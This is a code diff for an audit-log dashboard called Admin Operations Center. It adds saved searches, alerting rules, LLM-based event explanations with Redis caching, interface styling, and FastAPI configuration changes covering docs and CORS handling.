           <h3 id="modalTitle">Raw Event</h3>
-          <button type="button" id="closeModal" class="ghost" @click="modalOpen = false">Close</button>
+          <div class="modal__actions">
+            <button type="button" class="ghost" @click="copyRawEvent()">Copy</button>
+            <button type="button" class="ghost" x-show="aiFeaturesEnabled" :disabled="modalExplainLoading" @click="explainEvent()" x-text="modalExplainLoading ? 'Explaining…' : 'Explain'">Explain</button>
+            <button type="button" id="closeModal" class="ghost" @click="modalOpen = false">Close</button>
+          </div>
+        </div>
+        <div x-show="modalExplanation || modalExplainError" class="modal__explanation">
+          <div x-show="modalExplainError" class="ask-error" x-text="modalExplainError"></div>
+          <div x-show="modalExplanation" class="ask-answer" x-html="_mdToHtml(modalExplanation)"></div>
         </div>
         <pre id="modalBody" x-text="modalBody"></pre>
       </div>
     </div>
+
+    <footer class="footer">
+      <div class="footer__left">
+        <span class="footer__brand">Admin Operations Center</span>
+        <span class="footer__version" x-text="'v' + appVersion"></span>
+      </div>
+      <div class="footer__center">
+        <a :href="repoUrl + '/issues/new'" target="_blank" rel="noopener">🐛 Report an issue</a>
+        <a :href="repoUrl" target="_blank" rel="noopener">💻 Source code</a>
+        <a :href="docsUrl" target="_blank" rel="noopener">📖 Documentation</a>
+      </div>
+      <div class="footer__right">
+        <span>Built with ❤️ by CQRE.NET</span>
+      </div>
+    </footer>
   </div>
 
   <script>
@@ -233,6 +464,10 @@
         currentCursor: null,
         modalOpen: false,
         modalBody: '',
+        modalEventId: '',
+        modalExplanation: '',
+        modalExplainLoading: false,
+        modalExplainError: '',
         authBtnText: 'Login',
         authConfig: null,
         msalInstance: null,
@@ -240,9 +475,24 @@
         accessToken: null,
         authScopes: [],
         filters: {
-          actor: '', selectedServices: [], search: '', operation: '', result: '', start: '', end: '', limit: 100, includeTags: '', excludeTags: '',
+          actor: '', selectedServices: [], search: '', operation: '', result: '', start: '', end: '', limit: 24, includeTags: '', excludeTags: '',
         },
+        panelState: { sourceHealth: true, alerts: true, rules: true, filters: true, ask: true, events: true },
         options: { actors: [], services: [], operations: [], results: [] },
+        savedSearches: [],
+        appVersion: '',
+        repoUrl: 'https://git.cqre.net/cqrenet/aoc',
+        docsUrl: 'https://git.cqre.net/cqrenet/aoc/src/branch/main/README.md',
+        aiFeaturesEnabled: true,
+        alertSummary: { total_open: 0, high: 0, medium: 0, low: 0 },
+        alerts: [],
+        alertsTotal: 0,
+        alertsPage: 1,
+        alertsFilter: { status: 'open', severity: '' },
+        rules: [],
+        ruleModalOpen: false,
+        ruleEditId: null,
+        ruleEdit: { name: '', enabled: true, severity: 'medium', message: '', conditions: [] },
         askQuestionText: '',
         askLoading: false,
         askAnswer: '',
@@ -252,14 +502,70 @@
         askLlmError: '',
 
         async initApp() {
+          await this.loadVersion();
           await this.initAuth();
+          this.loadSavedFilters();
+          this.loadPanelState();
           if (!this.authConfig?.auth_enabled || this.accessToken) {
             await this.loadFilterOptions();
+            await this.loadSavedSearches();
             await this.loadSourceHealth();
+            await this.loadAlertSummary();
+            await this.loadAlerts();
+            await this.loadRules();
             await this.loadEvents();
           }
         },
 
+        loadSavedFilters() {
+          try {
+            const saved = localStorage.getItem('aoc_filters');
+            if (!saved) return;
+            const parsed = JSON.parse(saved);
+            const fields = ['actor', 'selectedServices', 'search', 'operation', 'result', 'start', 'end', 'limit', 'includeTags', 'excludeTags'];
+            fields.forEach((f) => {
+              if (parsed[f] !== undefined) this.filters[f] = parsed[f];
+            });
+          } catch {}
+        },
+
+        saveFilters() {
+          try {
+            localStorage.setItem('aoc_filters', JSON.stringify(this.filters));
+          } catch {}
+        },
+
+        loadPanelState() {
+          try {
+            const saved = localStorage.getItem('aoc_panels');
+            if (saved) {
+              const parsed = JSON.parse(saved);
+              Object.keys(parsed).forEach((k) => { if (this.panelState[k] !== undefined) this.panelState[k] = parsed[k]; });
+            }
+          } catch {}
+        },
+
+        savePanelState() {
+          try {
+            localStorage.setItem('aoc_panels', JSON.stringify(this.panelState));
+          } catch {}
+        },
+
+        togglePanel(key) {
+          this.panelState[key] = !this.panelState[key];
+          this.savePanelState();
+        },
+
+        async loadVersion() {
+          try {
+            const res = await fetch('/api/version');
+            if (res.ok) {
+              const body = await res.json();
+              this.appVersion = (body.version || '').replace(/^v/, '');
+            }
+          } catch {}
+        },
+
         authHeader() {
           return this.accessToken ? { Authorization: `Bearer ${this.accessToken}` } : {};
         },
@@ -285,13 +591,46 @@
         async initAuth() {
           try {
             const res = await fetch('/api/config/auth');
-            this.authConfig = await res.json();
+            if (!res.ok) {
+              console.error('Auth config fetch failed:', res.status, res.statusText);
+              this.authConfig = { auth_enabled: false, _error: res.status };
+            } else {
+              this.authConfig = await res.json();
+            }
+          } catch (err) {
+            console.error('Auth config fetch error:', err);
+            this.authConfig = { auth_enabled: false, _error: 'network' };
+          }
+
+          try {
+            const featRes = await fetch('/api/config/features');
+            if (featRes.ok) {
+              const featBody = await featRes.json();
+              this.aiFeaturesEnabled = featBody.ai_features_enabled !== false;
+              if (featBody.default_page_size) {
+                this.filters.limit = featBody.default_page_size;
+              } else {
+                this.filters.limit = 24;
+              }
+            } else {
+              this.aiFeaturesEnabled = true;
+            }
           } catch {
-            this.authConfig = { auth_enabled: false };
+            this.aiFeaturesEnabled = true;
           }
 
           if (!this.authConfig?.auth_enabled) {
-            this.authBtnText = '';
+            this.authBtnText = 'Auth: OFF';
+            console.warn('AOC auth is disabled. Set AUTH_ENABLED=true in .env to enable login.');
+            return;
+          }
+
+          const tenantId = this.authConfig.tenant_id;
+          const clientId = this.authConfig.client_id;
+          if (!clientId || !tenantId) {
+            this.authBtnText = 'Auth: misconfigured';
+            this.statusText = 'Auth is enabled but client_id or tenant_id is missing. Check .env configuration.';
+            console.error('AOC auth misconfigured: missing client_id or tenant_id in /api/config/auth');
             return;
           }
 
@@ -300,8 +639,6 @@
             return;
           }
 
-          const tenantId = this.authConfig.tenant_id;
-          const clientId = this.authConfig.client_id;
           const baseScope = this.authConfig.scope || "";
           this.authScopes = Array.from(new Set(['openid', 'profile', 'email', ...baseScope.split(/[ ,]+/).filter(Boolean)]));
           const authority = `https://login.microsoftonline.com/${tenantId}`;
@@ -412,6 +749,7 @@
             this.nextCursor = body.next_cursor || null;
             this.countText = body.total >= 0 ? `${body.total} event${body.total === 1 ? '' : 's'}` : '';
             this.statusText = this.events.length ? '' : 'No events found for these filters.';
+            this.saveFilters();
           } catch (err) {
             this.statusText = err.message || 'Failed to load events.';
           }
@@ -447,8 +785,18 @@
             this.options.services = (opts.services || []).slice(0, 200);
             this.options.operations = (opts.operations || []).slice(0, 200);
             this.options.results = (opts.results || []).slice(0, 200);
-            if (!this.filters.selectedServices.length && this.options.services.length) {
+
+            const saved = localStorage.getItem('aoc_filters');
+            if (!saved && this.options.services.length) {
+              // Default: show all services (privacy controls handle exclusions server-side)
               this.filters.selectedServices = [...this.options.services];
+            } else if (saved) {
+              try {
+                const parsed = JSON.parse(saved);
+                if (parsed.selectedServices) {
+                  this.filters.selectedServices = parsed.selectedServices.filter((s) => this.options.services.includes(s));
+                }
+              } catch {}
             }
           } catch {}
         },
@@ -461,6 +809,59 @@
           } catch {}
         },
 
+        async loadSavedSearches() {
+          try {
+            const res = await fetch('/api/saved-searches', { headers: this.authHeader() });
+            if (!res.ok) return;
+            this.savedSearches = await res.json();
+          } catch {}
+        },
+
+        async saveCurrentFilters() {
+          const name = prompt('Name this saved filter:');
+          if (!name || !name.trim()) return;
+          try {
+            const res = await fetch('/api/saved-searches', {
+              method: 'POST',
+              headers: { 'Content-Type': 'application/json', ...this.authHeader() },
+              body: JSON.stringify({ name: name.trim(), filters: { ...this.filters } }),
+            });
+            if (!res.ok) throw new Error(await res.text());
+            const created = await res.json();
+            this.savedSearches.unshift(created);
+            this.statusText = 'Filters saved.';
+            setTimeout(() => { if (this.statusText === 'Filters saved.') this.statusText = ''; }, 2000);
+          } catch (err) {
+            this.statusText = err.message || 'Failed to save filters.';
+          }
+        },
+
+        applySavedSearch(ss) {
+          if (!ss || !ss.filters) return;
+          const fields = ['actor', 'selectedServices', 'search', 'operation', 'result', 'start', 'end', 'limit', 'includeTags', 'excludeTags'];
+          fields.forEach((f) => {
+            if (ss.filters[f] !== undefined) this.filters[f] = ss.filters[f];
+          });
+          // Validate selectedServices against current options
+          this.filters.selectedServices = this.filters.selectedServices.filter((s) => this.options.services.includes(s));
+          this.resetPagination();
+          this.loadEvents();
+        },
+
+        async deleteSavedSearch(id) {
+          if (!confirm('Delete this saved search?')) return;
+          try {
+            const res = await fetch(`/api/saved-searches/${id}`, {
+              method: 'DELETE',
+              headers: this.authHeader(),
+            });
+            if (!res.ok) throw new Error(await res.text());
+            this.savedSearches = this.savedSearches.filter((s) => s.id !== id);
+          } catch (err) {
+            this.statusText = err.message || 'Failed to delete saved search.';
+          }
+        },
+
         resetPagination() {
           this.cursorStack = [];
           this.nextCursor = null;
@@ -482,11 +883,137 @@
         },
 
         clearFilters() {
-          this.filters = { actor: '', selectedServices: [...this.options.services], search: '', operation: '', result: '', start: '', end: '', limit: 100, includeTags: '', excludeTags: '' };
+          this.filters = { actor: '', selectedServices: [...this.options.services], search: '', operation: '', result: '', start: '', end: '', limit: 24, includeTags: '', excludeTags: '' };
+          this.saveFilters();
           this.resetPagination();
           this.loadEvents();
         },
 
+        filterByService(service) {
+          if (!service) return;
+          this.filters.selectedServices = [service];
+          this.saveFilters();
+          this.resetPagination();
+          this.loadEvents();
+        },
+
+        filterByResult(result) {
+          if (!result) return;
+          this.filters.result = this.filters.result === result ? '' : result;
+          this.saveFilters();
+          this.resetPagination();
+          this.loadEvents();
+        },
+
+        async loadAlertSummary() {
+          try {
+            const res = await fetch('/api/alerts/summary', { headers: this.authHeader() });
+            if (!res.ok) return;
+            const body = await res.json();
+            this.alertSummary.total_open = body.total_open || 0;
+            const sev = body.by_status_severity || [];
+            this.alertSummary.high = sev.filter((s) => s._id.severity === 'high' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
+            this.alertSummary.medium = sev.filter((s) => s._id.severity === 'medium' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
+            this.alertSummary.low = sev.filter((s) => s._id.severity === 'low' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
+          } catch {}
+        },
+
+        async loadAlerts() {
+          try {
+            const params = new URLSearchParams();
+            params.append('page_size', '20');
+            params.append('page', String(this.alertsPage));
+            if (this.alertsFilter.status) params.append('status', this.alertsFilter.status);
+            if (this.alertsFilter.severity) params.append('severity', this.alertsFilter.severity);
+            const res = await fetch(`/api/alerts?${params.toString()}`, { headers: this.authHeader() });
+            if (!res.ok) return;
+            const body = await res.json();
+            this.alerts = body.items || [];
+            this.alertsTotal = body.total || 0;
+          } catch {}
+        },
+
+        async updateAlertStatus(alertId, status) {
+          try {
+            const res = await fetch(`/api/alerts/${alertId}/status`, {
+              method: 'PATCH',
+              headers: { 'Content-Type': 'application/json', ...this.authHeader() },
+              body: JSON.stringify({ status }),
+            });
+            if (res.ok) {
+              await this.loadAlerts();
+              await this.loadAlertSummary();
+            }
+          } catch {}
+        },
+
+        async loadRules() {
+          try {
+            const res = await fetch('/api/rules', { headers: this.authHeader() });
+            if (!res.ok) return;
+            this.rules = await res.json();
+          } catch {}
+        },
+
+        openRuleEditor(rule) {
+          if (rule) {
+            this.ruleEditId = rule.id;
+            this.ruleEdit = {
+              name: rule.name,
+              enabled: rule.enabled,
+              severity: rule.severity,
+              message: rule.message,
+              conditions: JSON.parse(JSON.stringify(rule.conditions)),
+            };
+          } else {
+            this.ruleEditId = null;
+            this.ruleEdit = { name: '', enabled: true, severity: 'medium', message: '', conditions: [] };
+          }
+          this.ruleModalOpen = true;
+        },
+
+        async saveRule() {
+          const payload = { ...this.ruleEdit };
+          try {
+            const url = this.ruleEditId ? `/api/rules/${this.ruleEditId}` : '/api/rules';
+            const method = this.ruleEditId ? 'PUT' : 'POST';
+            const res = await fetch(url, {
+              method,
+              headers: { 'Content-Type': 'application/json', ...this.authHeader() },
+              body: JSON.stringify(payload),
+            });
+            if (!res.ok) throw new Error(await res.text());
+            this.ruleModalOpen = false;
+            await this.loadRules();
+          } catch (err) {
+            alert('Failed to save rule: ' + err.message);
+          }
+        },
+
+        async toggleRule(ruleId, enabled) {
+          try {
+            const rule = this.rules.find((r) => r.id === ruleId);
+            if (!rule) return;
+            const res = await fetch(`/api/rules/${ruleId}`, {
+              method: 'PUT',
+              headers: { 'Content-Type': 'application/json', ...this.authHeader() },
+              body: JSON.stringify({ ...rule, enabled }),
+            });
+            if (res.ok) await this.loadRules();
+          } catch {}
+        },
+
+        async deleteRule(ruleId) {
+          if (!confirm('Delete this rule?')) return;
+          try {
+            const res = await fetch(`/api/rules/${ruleId}`, {
+              method: 'DELETE',
+              headers: this.authHeader(),
+            });
+            if (res.ok) await this.loadRules();
+          } catch {}
+        },
+
         async askQuestion() {
           const q = this.askQuestionText.trim();
           if (!q) return;
@@ -647,9 +1174,44 @@
           } catch (err) {
             this.modalBody = `Error serializing event:\n${err.message}\n\nEvent ID: ${e.id || 'N/A'}`;
           }
+          this.modalEventId = e.id || '';
+          this.modalExplanation = '';
+          this.modalExplainError = '';
           this.modalOpen = true;
         },
 
+        async copyRawEvent() {
+          if (!this.modalBody) return;
+          try {
+            await navigator.clipboard.writeText(this.modalBody);
+            this.statusText = 'Raw event copied to clipboard.';
+            setTimeout(() => { if (this.statusText === 'Raw event copied to clipboard.') this.statusText = ''; }, 2000);
+          } catch (err) {
+            this.statusText = 'Failed to copy to clipboard.';
+          }
+        },
+
+        async explainEvent() {
+          if (!this.modalEventId) return;
+          this.modalExplainLoading = true;
+          this.modalExplanation = '';
+          this.modalExplainError = '';
+          try {
+            const res = await fetch(`/api/events/${this.modalEventId}/explain`, {
+              method: 'POST',
+              headers: { 'Content-Type': 'application/json', ...this.authHeader() },
+            });
+            if (!res.ok) throw new Error(await res.text());
+            const body = await res.json();
+            this.modalExplanation = body.explanation;
+            this.modalExplainError = body.llm_error || '';
+          } catch (err) {
+            this.modalExplainError = err.message || 'Failed to explain event.';
+          } finally {
+            this.modalExplainLoading = false;
+          }
+        },
+
         async addTag(e, tag) {
           if (!tag.trim()) return;
           const tags = [...(e.tags || []), tag.trim()];
@@ -712,5 +1274,6 @@
       };
     }
   </script>
+
 </body>
 </html>

backend/frontend/style.css

@@ -28,7 +28,115 @@ body {
 .page {
   max-width: 1100px;
   margin: 0 auto;
-  padding: 32px 20px 60px;
+  padding: 0 20px 40px;
+  display: flex;
+  flex-direction: column;
+  min-height: 100vh;
+}
+
+.topbar {
+  display: flex;
+  align-items: center;
+  gap: 16px;
+  padding: 12px 0;
+  margin-bottom: 8px;
+  border-bottom: 1px solid var(--border);
+  flex-wrap: wrap;
+}
+
+.topbar__brand {
+  display: flex;
+  align-items: center;
+  gap: 8px;
+  font-weight: 700;
+  font-size: 16px;
+}
+
+.topbar__logo {
+  font-size: 20px;
+}
+
+.topbar__links {
+  display: flex;
+  gap: 16px;
+  margin-right: auto;
+}
+
+.topbar__links a {
+  color: var(--muted);
+  font-size: 13px;
+  text-decoration: none;
+  font-weight: 500;
+  transition: color 0.15s ease;
+}
+
+.topbar__links a:hover {
+  color: var(--accent-strong);
+}
+
+.topbar__meta {
+  display: flex;
+  align-items: center;
+  gap: 10px;
+}
+
+.user-chip {
+  display: flex;
+  align-items: center;
+  gap: 8px;
+  background: rgba(255, 255, 255, 0.04);
+  border: 1px solid var(--border);
+  border-radius: 999px;
+  padding: 4px 12px 4px 4px;
+}
+
+.user-avatar {
+  width: 26px;
+  height: 26px;
+  border-radius: 50%;
+  background: linear-gradient(135deg, var(--accent), var(--accent-strong));
+  color: #0b1220;
+  font-size: 12px;
+  font-weight: 700;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  flex-shrink: 0;
+}
+
+.user-details {
+  display: flex;
+  flex-direction: column;
+  line-height: 1.2;
+}
+
+.user-name {
+  font-size: 12px;
+  font-weight: 600;
+  color: var(--text);
+}
+
+.user-email {
+  font-size: 11px;
+  color: var(--muted);
+}
+
+.login-hint {
+  font-size: 12px;
+  color: var(--muted);
+  font-style: italic;
+}
+
+.topbar__actions {
+  display: flex;
+  gap: 8px;
+  align-items: center;
+}
+
+.btn--compact {
+  padding: 8px 14px;
+  font-size: 13px;
+  border-radius: 8px;
 }
 
 .hero {
@@ -37,6 +145,7 @@ body {
   justify-content: space-between;
   gap: 16px;
   margin-bottom: 20px;
+  padding-top: 16px;
 }
 
 .eyebrow {
@@ -165,6 +274,31 @@ input {
   margin-bottom: 8px;
 }
 
+.panel-header--collapsible {
+  cursor: pointer;
+  user-select: none;
+  padding: 4px 0;
+  margin-bottom: 0;
+}
+
+.panel-header--collapsible:hover {
+  opacity: 0.85;
+}
+
+.panel-toggle {
+  display: inline-block;
+  font-size: 14px;
+  color: var(--muted);
+  transition: transform 0.2s ease;
+  transform: rotate(-90deg);
+  width: 16px;
+  text-align: center;
+}
+
+.panel-toggle--open {
+  transform: rotate(0deg);
+}
+
 #count {
   color: var(--muted);
   font-size: 14px;
@@ -246,6 +380,27 @@ input {
   border-color: rgba(239, 68, 68, 0.5);
 }
 
+.pill--clickable {
+  cursor: pointer;
+  transition: transform 0.1s ease, box-shadow 0.15s ease, background 0.15s ease;
+}
+
+.pill--clickable:hover {
+  transform: translateY(-1px);
+  box-shadow: 0 2px 8px rgba(125, 211, 252, 0.2);
+  background: rgba(125, 211, 252, 0.2);
+}
+
+.pill--clickable.pill--ok:hover {
+  box-shadow: 0 2px 8px rgba(34, 197, 94, 0.2);
+  background: rgba(34, 197, 94, 0.25);
+}
+
+.pill--clickable.pill--warn:hover {
+  box-shadow: 0 2px 8px rgba(249, 115, 22, 0.2);
+  background: rgba(249, 115, 22, 0.25);
+}
+
 .event h3 {
   margin: 0 0 6px;
   font-size: 17px;
@@ -364,6 +519,30 @@ input {
   margin-bottom: 10px;
 }
 
+.modal__actions {
+  display: flex;
+  gap: 8px;
+  align-items: center;
+}
+
+.saved-searches {
+  display: flex;
+  flex-wrap: wrap;
+  gap: 8px;
+  align-items: center;
+  font-size: 13px;
+}
+
+.modal__explanation {
+  background: rgba(255, 255, 255, 0.03);
+  border: 1px solid var(--border);
+  border-radius: 10px;
+  padding: 12px;
+  margin-bottom: 10px;
+  font-size: 14px;
+  line-height: 1.6;
+}
+
 .modal pre {
   background: rgba(255, 255, 255, 0.02);
   color: var(--text);
@@ -433,6 +612,20 @@ input {
   color: var(--muted);
 }
 
+.version-badge {
+  display: inline-block;
+  margin-left: 8px;
+  padding: 2px 8px;
+  border-radius: 999px;
+  background: rgba(125, 211, 252, 0.15);
+  border: 1px solid rgba(125, 211, 252, 0.3);
+  color: var(--accent-strong);
+  font-size: 11px;
+  font-weight: 600;
+  letter-spacing: 0.05em;
+  vertical-align: middle;
+}
+
 .ask-events {
   margin-bottom: 14px;
 }
@@ -470,7 +663,321 @@ input {
   gap: 4px;
 }
 
+.footer {
+  margin-top: auto;
+  padding: 20px 0;
+  border-top: 1px solid var(--border);
+  display: flex;
+  align-items: center;
+  justify-content: space-between;
+  gap: 16px;
+  flex-wrap: wrap;
+  font-size: 13px;
+  color: var(--muted);
+}
+
+.footer__left {
+  display: flex;
+  align-items: center;
+  gap: 10px;
+}
+
+.footer__brand {
+  font-weight: 600;
+  color: var(--text);
+}
+
+.footer__version {
+  font-size: 11px;
+  padding: 2px 8px;
+  border-radius: 999px;
+  background: rgba(125, 211, 252, 0.1);
+  border: 1px solid rgba(125, 211, 252, 0.2);
+  color: var(--accent-strong);
+}
+
+.footer__center {
+  display: flex;
+  gap: 16px;
+  align-items: center;
+}
+
+.footer__center a {
+  color: var(--muted);
+  text-decoration: none;
+  transition: color 0.15s ease;
+}
+
+.footer__center a:hover {
+  color: var(--accent-strong);
+}
+
+.footer__right {
+  font-size: 12px;
+}
+
+/* Alert summary in hero */
+.alert-summary {
+  display: flex;
+  align-items: center;
+  gap: 6px;
+  background: rgba(255, 255, 255, 0.04);
+  border: 1px solid var(--border);
+  border-radius: 999px;
+  padding: 6px 14px;
+}
+
+.alert-badge {
+  min-width: 22px;
+  height: 22px;
+  border-radius: 999px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  font-size: 11px;
+  font-weight: 700;
+  color: #0b1220;
+}
+
+.alert-badge--high {
+  background: #ef4444;
+}
+
+.alert-badge--medium {
+  background: #f97316;
+}
+
+.alert-badge--low {
+  background: #3b82f6;
+}
+
+.alert-label {
+  font-size: 12px;
+  color: var(--muted);
+}
+
+.alert-open-count {
+  font-size: 13px;
+  color: var(--muted);
+}
+
+.alert-filters {
+  display: flex;
+  gap: 10px;
+  margin-bottom: 12px;
+}
+
+.alert-filters select {
+  padding: 8px 12px;
+  border-radius: 8px;
+  border: 1px solid var(--border);
+  background: rgba(255, 255, 255, 0.02);
+  color: var(--text);
+  font-size: 13px;
+}
+
+.alerts-list {
+  display: flex;
+  flex-direction: column;
+  gap: 10px;
+}
+
+.alert-card {
+  border: 1px solid var(--border);
+  border-radius: 12px;
+  padding: 12px 14px;
+  background: rgba(255, 255, 255, 0.02);
+  border-left: 3px solid transparent;
+}
+
+.alert-card--high {
+  border-left-color: #ef4444;
+}
+
+.alert-card--medium {
+  border-left-color: #f97316;
+}
+
+.alert-card--low {
+  border-left-color: #3b82f6;
+}
+
+.alert-card__meta {
+  display: flex;
+  gap: 8px;
+  align-items: center;
+  margin-bottom: 6px;
+  flex-wrap: wrap;
+}
+
+.alert-card__meta small {
+  color: var(--muted);
+  font-size: 12px;
+}
+
+.alert-card strong {
+  font-size: 14px;
+  display: block;
+  margin-bottom: 4px;
+}
+
+.alert-card p {
+  margin: 0 0 10px;
+  font-size: 13px;
+  color: var(--muted);
+  line-height: 1.45;
+}
+
+.alert-card__actions {
+  display: flex;
+  gap: 8px;
+  flex-wrap: wrap;
+}
+
+.alerts-empty {
+  padding: 20px;
+  text-align: center;
+  color: var(--muted);
+  font-size: 14px;
+  border: 1px dashed var(--border);
+  border-radius: 10px;
+}
+
+/* Rules management */
+.rules-list {
+  display: flex;
+  flex-direction: column;
+  gap: 10px;
+}
+
+.rule-card {
+  border: 1px solid var(--border);
+  border-radius: 12px;
+  padding: 12px 14px;
+  background: rgba(255, 255, 255, 0.02);
+}
+
+.rule-card--disabled {
+  opacity: 0.6;
+}
+
+.rule-card__meta {
+  display: flex;
+  gap: 8px;
+  align-items: center;
+  margin-bottom: 6px;
+  flex-wrap: wrap;
+}
+
+.toggle-label {
+  display: flex;
+  align-items: center;
+  gap: 6px;
+  font-size: 12px;
+  color: var(--muted);
+  cursor: pointer;
+}
+
+.toggle-label input[type="checkbox"] {
+  width: 14px;
+  height: 14px;
+  accent-color: var(--accent-strong);
+}
+
+.rule-card strong {
+  font-size: 14px;
+  display: block;
+  margin-bottom: 4px;
+}
+
+.rule-card p {
+  margin: 0 0 8px;
+  font-size: 13px;
+  color: var(--muted);
+  line-height: 1.4;
+}
+
+.rule-card__conditions {
+  display: flex;
+  flex-wrap: wrap;
+  gap: 6px;
+  margin-bottom: 10px;
+}
+
+.rule-card__actions {
+  display: flex;
+  gap: 8px;
+}
+
+.rules-empty {
+  padding: 20px;
+  text-align: center;
+  color: var(--muted);
+  font-size: 14px;
+  border: 1px dashed var(--border);
+  border-radius: 10px;
+}
+
+.rule-form {
+  display: flex;
+  flex-direction: column;
+  gap: 14px;
+}
+
+.rule-form label {
+  display: flex;
+  flex-direction: column;
+  gap: 6px;
+  font-size: 14px;
+  color: var(--muted);
+}
+
+.rule-form input,
+.rule-form select,
+.rule-form textarea {
+  padding: 10px 12px;
+  border-radius: 10px;
+  border: 1px solid var(--border);
+  background: rgba(255, 255, 255, 0.02);
+  color: var(--text);
+  font-size: 14px;
+}
+
+.rule-conditions {
+  display: flex;
+  flex-direction: column;
+  gap: 10px;
+}
+
+.condition-row {
+  display: flex;
+  gap: 8px;
+  align-items: center;
+}
+
+.condition-row input,
+.condition-row select {
+  flex: 1;
+  min-width: 0;
+}
+
+.rule-form__actions {
+  display: flex;
+  gap: 10px;
+  margin-top: 8px;
+}
+
 @media (max-width: 640px) {
+  .topbar {
+    flex-direction: column;
+    align-items: flex-start;
+    gap: 10px;
+  }
+
+  .topbar__links {
+    margin-right: 0;
+  }
+
   .hero {
     flex-direction: column;
   }
@@ -484,4 +991,10 @@ input {
     flex-direction: column;
     align-items: stretch;
   }
+
+  .footer {
+    flex-direction: column;
+    text-align: center;
+    gap: 10px;
+  }
 }

backend/jobs.py

@@ -0,0 +1,117 @@
+"""arq job functions for async LLM processing."""
+
+import hashlib
+import json
+
+import structlog
+from arq.connections import RedisSettings
+from config import REDIS_URL
+
+logger = structlog.get_logger("aoc.jobs")
+
+# ---------------------------------------------------------------------------
+# Cache helpers
+# ---------------------------------------------------------------------------
+
+CACHE_TTL_ASK = 3600  # 1 hour
+CACHE_TTL_EXPLAIN = 86400  # 24 hours
+
+
+def _ask_cache_key(question: str, filters: dict, events: list) -> str:
+    payload = json.dumps({"q": question, "f": filters, "e": [e.get("id") for e in events]}, sort_keys=True)
+    return f"aoc:cache:ask:{hashlib.md5(payload.encode()).hexdigest()}"
+
+
+def _explain_cache_key(event_id: str) -> str:
+    return f"aoc:cache:explain:{event_id}"
+
+
+async def get_cached_ask(redis, question: str, filters: dict, events: list) -> dict | None:
+    key = _ask_cache_key(question, filters, events)
+    raw = await redis.get(key)
+    if raw:
+        return json.loads(raw)
+    return None
+
+
+async def set_cached_ask(redis, question: str, filters: dict, events: list, result: dict):
+    key = _ask_cache_key(question, filters, events)
+    await redis.setex(key, CACHE_TTL_ASK, json.dumps(result, default=str))
+
+
+async def get_cached_explain(redis, event_id: str) -> dict | None:
+    key = _explain_cache_key(event_id)
+    raw = await redis.get(key)
+    if raw:
+        return json.loads(raw)
+    return None
+
+
+async def set_cached_explain(redis, event_id: str, result: dict):
+    key = _explain_cache_key(event_id)
+    await redis.setex(key, CACHE_TTL_EXPLAIN, json.dumps(result, default=str))
+
+
+# ---------------------------------------------------------------------------
+# arq job functions
+# ---------------------------------------------------------------------------
+
+
+async def process_ask_question(
+    ctx, question: str, filters: dict, events: list, total: int, excluded_services: list | None
+):
+    """Background job: call LLM for /api/ask and cache result."""
+    from routes.ask import _call_llm
+
+    redis = ctx["redis"]
+    try:
+        answer = await _call_llm(question, events, total=total, excluded_services=excluded_services)
+        result = {"status": "completed", "answer": answer, "llm_used": True, "llm_error": None}
+    except Exception as exc:
+        logger.warning("Async ask LLM failed", error=str(exc))
+        result = {"status": "failed", "answer": "", "llm_used": False, "llm_error": str(exc)}
+
+    await set_cached_ask(redis, question, filters, events, result)
+    return result
+
+
+async def process_explain_event(ctx, event_id: str, event: dict, related: list):
+    """Background job: call LLM for /api/events/{id}/explain and cache result."""
+    from routes.ask import _explain_event
+
+    redis = ctx["redis"]
+    try:
+        explanation = await _explain_event(event, related)
+        result = {"status": "completed", "explanation": explanation, "llm_used": True, "llm_error": None}
+    except Exception as exc:
+        logger.warning("Async explain LLM failed", error=str(exc))
+        result = {"status": "failed", "explanation": "", "llm_used": False, "llm_error": str(exc)}
+
+    await set_cached_explain(redis, event_id, result)
+    return result
+
+
+# ---------------------------------------------------------------------------
+# arq worker configuration
+# ---------------------------------------------------------------------------
+
+
+async def startup(ctx):
+    from redis.asyncio import Redis
+
+    ctx["redis"] = Redis.from_url(REDIS_URL, decode_responses=True)
+
+
+async def shutdown(ctx):
+    await ctx["redis"].close()
+
+
+class WorkerSettings:
+    functions = [process_ask_question, process_explain_event]
+    redis_settings = RedisSettings.from_dsn(REDIS_URL)
+    on_startup = startup
+    on_shutdown = shutdown
+    max_jobs = 10
+    job_timeout = 120
+    keep_result = 3600
+    keep_result_forever = False

backend/main.py

@@ -1,12 +1,24 @@
 import asyncio
+import ipaddress
 import logging
+import os
 import time
 from contextlib import suppress
 from pathlib import Path
 
 import structlog
 from audit_trail import log_action
-from config import CORS_ORIGINS, ENABLE_PERIODIC_FETCH, FETCH_INTERVAL_MINUTES
+from config import (
+    AI_FEATURES_ENABLED,
+    AUTH_ALLOWED_GROUPS,
+    AUTH_ALLOWED_ROLES,
+    AUTH_ENABLED,
+    CORS_ORIGINS,
+    DOCS_ENABLED,
+    ENABLE_PERIODIC_FETCH,
+    FETCH_INTERVAL_MINUTES,
+    METRICS_ALLOWED_IPS,
+)
 from database import setup_indexes
 from fastapi import FastAPI, HTTPException, Request
 from fastapi.middleware.cors import CORSMiddleware
@@ -14,13 +26,15 @@ from fastapi.responses import Response
 from fastapi.staticfiles import StaticFiles
 from metrics import observe_request, prometheus_metrics
 from middleware import CorrelationIdMiddleware
-from routes.ask import router as ask_router
+from routes.alerts import router as alerts_router
 from routes.config import router as config_router
 from routes.events import router as events_router
 from routes.fetch import router as fetch_router
 from routes.fetch import run_fetch
 from routes.health import router as health_router
+from routes.jobs import router as jobs_router
 from routes.rules import router as rules_router
+from routes.saved_searches import router as saved_searches_router
 from routes.webhooks import router as webhooks_router
 
 
@@ -48,13 +62,28 @@ def configure_logging():
 configure_logging()
 logger = structlog.get_logger("aoc.fetcher")
 
-app = FastAPI()
+# Disable OpenAPI docs in production by default
+app = FastAPI(
+    docs_url="/docs" if DOCS_ENABLED else None,
+    redoc_url="/redoc" if DOCS_ENABLED else None,
+    openapi_url="/openapi.json" if DOCS_ENABLED else None,
+)
+
+# CORS: when auth is enabled, never allow credentials with wildcard origins
+_effective_cors = CORS_ORIGINS
+_cors_credentials = True
+if AUTH_ENABLED and "*" in _effective_cors:
+    logger.warning(
+        "CORS wildcard (*) is insecure with AUTH_ENABLED=true and allow_credentials. "
+        "Disabling credentials. Set CORS_ORIGINS to your actual origin(s)."
+    )
+    _cors_credentials = False
 
